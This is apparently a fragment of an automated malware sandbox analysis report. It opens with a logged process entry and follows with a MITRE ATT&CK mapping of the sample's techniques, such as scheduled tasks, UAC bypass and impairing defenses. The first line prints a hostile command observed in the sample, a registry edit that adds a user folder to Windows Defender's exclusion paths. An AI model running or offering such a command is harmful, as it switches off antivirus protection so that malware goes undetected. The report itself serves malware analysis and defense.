  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:2912

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery